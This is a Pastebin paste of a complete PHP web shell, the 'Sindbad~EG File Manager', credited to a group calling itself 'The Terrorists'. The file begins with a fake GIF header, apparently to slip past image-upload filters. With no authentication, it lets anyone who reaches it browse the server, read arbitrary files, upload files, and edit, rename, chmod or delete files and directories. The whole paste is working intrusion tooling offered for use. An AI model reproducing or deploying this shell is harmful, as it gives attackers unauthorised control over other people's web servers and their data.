Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2019
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.03 KB | None | 0 0
  1. GIF88GHZ
  2. <?php
  3. echo '<!DOCTYPE HTML>
  4. <HTML>
  5. <HEAD>
  6. <link href="" rel="stylesheet" type="text/css">
  7. <title>Amirs Erros</title>
  8. <style>
  9. body{
  10. font-family: "Racing Sans One", cursive;
  11. background-color: #e6e6e6;
  12. text-shadow:0px 0px 1px #757575;
  13. }
  14. #content tr:hover{
  15. background-color: #636263;
  16. text-shadow:0px 0px 10px #fff;
  17. }
  18. #content .first{
  19. background-color: silver;
  20. }
  21. #content .first:hover{
  22. background-color: silver;
  23. text-shadow:0px 0px 1px #757575;
  24. }
  25. table{
  26. border: 1px #000000 dotted;
  27. }
  28. H1{
  29. font-family: "Rye", cursive;
  30. }
  31. a{
  32. color: #000;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color: #fff;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </HEAD>
  47. <BODY>
  48. <H1><center>Sindbad~EG File Manager</center></H1>
  49. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  50. <tr><td>Current Path : ';
  51. if(isset($_GET['path'])){
  52. $path = $_GET['path'];
  53. }else{
  54. $path = getcwd();
  55. }
  56. $path = str_replace('\\','/',$path);
  57. $paths = explode('/',$path);
  58.  
  59. foreach($paths as $id=>$pat){
  60. if($pat == '' && $id == 0){
  61. $a = true;
  62. echo '<a href="?path=/">/</a>';
  63. continue;
  64. }
  65. if($pat == '') continue;
  66. echo '<a href="?path=';
  67. for($i=0;$i<=$id;$i++){
  68. echo "$paths[$i]";
  69. if($i != $id) echo "/";
  70. }
  71. echo '">'.$pat.'</a>/';
  72. }
  73. echo '</td></tr><tr><td>';
  74. if(isset($_FILES['file'])){
  75. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  76. echo '<font color="green">File Upload Done.</font><br />';
  77. }else{
  78. echo '<font color="red">File Upload Error.</font><br />';
  79. }
  80. }
  81. echo '<form enctype="multipart/form-data" method="POST">
  82. Upload File : <input type="file" name="file" />
  83. <input type="submit" value="upload" />
  84. </form>
  85. </td></tr>';
  86. if(isset($_GET['filesrc'])){
  87. echo "<tr><td>Current File : ";
  88. echo $_GET['filesrc'];
  89. echo '</tr></td></table><br />';
  90. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  91. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  92. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  93. if($_POST['opt'] == 'chmod'){
  94. if(isset($_POST['perm'])){
  95. if(chmod($_POST['path'],$_POST['perm'])){
  96. echo '<font color="green">Change Permission Done.</font><br />';
  97. }else{
  98. echo '<font color="red">Change Permission Error.</font><br />';
  99. }
  100. }
  101. echo '<form method="POST">
  102. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  103. <input type="hidden" name="path" value="'.$_POST['path'].'">
  104. <input type="hidden" name="opt" value="chmod">
  105. <input type="submit" value="Go" />
  106. </form>';
  107. }elseif($_POST['opt'] == 'rename'){
  108. if(isset($_POST['newname'])){
  109. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  110. echo '<font color="green">Change Name Done.</font><br />';
  111. }else{
  112. echo '<font color="red">Change Name Error.</font><br />';
  113. }
  114. $_POST['name'] = $_POST['newname'];
  115. }
  116. echo '<form method="POST">
  117. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  118. <input type="hidden" name="path" value="'.$_POST['path'].'">
  119. <input type="hidden" name="opt" value="rename">
  120. <input type="submit" value="Go" />
  121. </form>';
  122. }elseif($_POST['opt'] == 'edit'){
  123. if(isset($_POST['src'])){
  124. $fp = fopen($_POST['path'],'w');
  125. if(fwrite($fp,$_POST['src'])){
  126. echo '<font color="green">Edit File Done.</font><br />';
  127. }else{
  128. echo '<font color="red">Edit File Error.</font><br />';
  129. }
  130. fclose($fp);
  131. }
  132. echo '<form method="POST">
  133. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  134. <input type="hidden" name="path" value="'.$_POST['path'].'">
  135. <input type="hidden" name="opt" value="edit">
  136. <input type="submit" value="Go" />
  137. </form>';
  138. }
  139. echo '</center>';
  140. }else{
  141. echo '</table><br /><center>';
  142. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  143. if($_POST['type'] == 'dir'){
  144. if(rmdir($_POST['path'])){
  145. echo '<font color="green">Delete Dir Done.</font><br />';
  146. }else{
  147. echo '<font color="red">Delete Dir Error.</font><br />';
  148. }
  149. }elseif($_POST['type'] == 'file'){
  150. if(unlink($_POST['path'])){
  151. echo '<font color="green">Delete File Done.</font><br />';
  152. }else{
  153. echo '<font color="red">Delete File Error.</font><br />';
  154. }
  155. }
  156. }
  157. echo '</center>';
  158. $scandir = scandir($path);
  159. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  160. <tr class="first">
  161. <td><center>Name</center></td>
  162. <td><center>Size</center></td>
  163. <td><center>Permissions</center></td>
  164. <td><center>Options</center></td>
  165. </tr>';
  166.  
  167. foreach($scandir as $dir){
  168. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  169. echo "<tr>
  170. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  171. <td><center>--</center></td>
  172. <td><center>";
  173. if(is_writable("$path/$dir")) echo '<font color="green">';
  174. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  175. echo perms("$path/$dir");
  176. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  177.  
  178. echo "</center></td>
  179. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  180. <select name=\"opt\">
  181. <option value=\"\"></option>
  182. <option value=\"delete\">Delete</option>
  183. <option value=\"chmod\">Chmod</option>
  184. <option value=\"rename\">Rename</option>
  185. </select>
  186. <input type=\"hidden\" name=\"type\" value=\"dir\">
  187. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  188. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  189. <input type=\"submit\" value=\">\" />
  190. </form></center></td>
  191. </tr>";
  192. }
  193. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  194. foreach($scandir as $file){
  195. if(!is_file("$path/$file")) continue;
  196. $size = filesize("$path/$file")/1024;
  197. $size = round($size,3);
  198. if($size >= 1024){
  199. $size = round($size/1024,2).' MB';
  200. }else{
  201. $size = $size.' KB';
  202. }
  203.  
  204. echo "<tr>
  205. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  206. <td><center>".$size."</center></td>
  207. <td><center>";
  208. if(is_writable("$path/$file")) echo '<font color="green">';
  209. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  210. echo perms("$path/$file");
  211. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  212. echo "</center></td>
  213. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  214. <select name=\"opt\">
  215. <option value=\"\"></option>
  216. <option value=\"delete\">Delete</option>
  217. <option value=\"chmod\">Chmod</option>
  218. <option value=\"rename\">Rename</option>
  219. <option value=\"edit\">Edit</option>
  220. </select>
  221. <input type=\"hidden\" name=\"type\" value=\"file\">
  222. <input type=\"hidden\" name=\"name\" value=\"$file\">
  223. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  224. <input type=\"submit\" value=\">\" />
  225. </form></center></td>
  226. </tr>";
  227. }
  228. echo '</table>
  229. </div>';
  230. }
  231. echo '<br />Sindbad File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Sindbad EG ~ The Terrorists</font>
  232. </BODY>
  233. </HTML>';
  234. function perms($file){
  235. $perms = fileperms($file);
  236.  
  237. if (($perms & 0xC000) == 0xC000) {
  238. // Socket
  239. $info = 's';
  240. } elseif (($perms & 0xA000) == 0xA000) {
  241. // Symbolic Link
  242. $info = 'l';
  243. } elseif (($perms & 0x8000) == 0x8000) {
  244. // Regular
  245. $info = '-';
  246. } elseif (($perms & 0x6000) == 0x6000) {
  247. // Block special
  248. $info = 'b';
  249. } elseif (($perms & 0x4000) == 0x4000) {
  250. // Directory
  251. $info = 'd';
  252. } elseif (($perms & 0x2000) == 0x2000) {
  253. // Character special
  254. $info = 'c';
  255. } elseif (($perms & 0x1000) == 0x1000) {
  256. // FIFO pipe
  257. $info = 'p';
  258. } else {
  259. // Unknown
  260. $info = 'u';
  261. }
  262.  
  263. // Owner
  264. $info .= (($perms & 0x0100) ? 'r' : '-');
  265. $info .= (($perms & 0x0080) ? 'w' : '-');
  266. $info .= (($perms & 0x0040) ?
  267. (($perms & 0x0800) ? 's' : 'x' ) :
  268. (($perms & 0x0800) ? 'S' : '-'));
  269.  
  270. // Group
  271. $info .= (($perms & 0x0020) ? 'r' : '-');
  272. $info .= (($perms & 0x0010) ? 'w' : '-');
  273. $info .= (($perms & 0x0008) ?
  274. (($perms & 0x0400) ? 's' : 'x' ) :
  275. (($perms & 0x0400) ? 'S' : '-'));
  276.  
  277. // World
  278. $info .= (($perms & 0x0004) ? 'r' : '-');
  279. $info .= (($perms & 0x0002) ? 'w' : '-');
  280. $info .= (($perms & 0x0001) ?
  281. (($perms & 0x0200) ? 't' : 'x' ) :
  282. (($perms & 0x0200) ? 'T' : '-'));
  283.  
  284. return $info;
  285. }
  286. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement